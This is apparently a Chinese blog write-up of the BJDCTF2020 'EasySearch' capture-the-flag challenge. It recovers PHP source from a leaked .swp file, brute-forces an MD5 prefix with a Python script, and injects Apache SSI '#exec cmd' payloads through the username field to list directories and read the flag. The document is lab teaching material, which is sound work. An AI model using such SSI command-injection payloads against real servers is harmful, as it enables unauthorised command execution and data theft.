[BJDCTF2020]EasySearch

[BJDCTF2020]EasySearch

打开环境

q1pA2wPA07NAp27_O0YE0o_1-8Kc76Nk_PjrzHrRG50

页面中与源代码没有发现什么有用的信息,通过扫描工具扫描,看看有没有什么有用的文件

结果发现无论是dirsearch、dirmap还是御剑,通通扫描不出来什么有用的东西,查了师傅们的WP才知道,这里的文件名是index.php.swp

Fk73ffUoAo3AD7UWE5A4bTYQgBykmo4Y3us2mQm3Wk4

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

第一个条件是 if ( $admin == substr(md5($_POST['password']),0,6)) ,$admin='6d0bc1'; ,要求是md5加密某个字符串,然后截取前6位,得到的结果要与$admin相等。

编写脚本

from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)

得到3个有用的结果

2020666

2305004

9162671

选取其中一个计进入系统

vlsXptt164ruZKR1hndzsPufAqM1w4obt0wa3KbbUxM

响应头发现一个shtml文件

lScw8sJoB9d-XkTJc3884_unk5VMaKjOV7OyOfgzlQw

打开后进入页面

RYlrjh20eSkGUA7QMHufQZpVyLPMAE8ojEefEnFOR-4

看到shtml想到Apache SSI 远程命令执行漏洞

shtml是一种用于SSI技术的文件——Server Side Include--SSI。

SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。

然后利用shtml的命令执行,可控参数是username

payload1

username=<!--#exec cmd="ls ../"-->&password=9162671

w9__wNw21tBK1sfVp_gHEcJ17H1iR_VVTfokhHiRu44

注意这里需要重新登录,每次的shtml的名称都不一样

payload2:

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=9162671

gtBtMzaa4Ux0eItupvtorFFWjfD88zaxYP98xR843E0

posted on 2024-04-26 15:54  跳河离去的鱼  阅读(24)  评论(0编辑  收藏  举报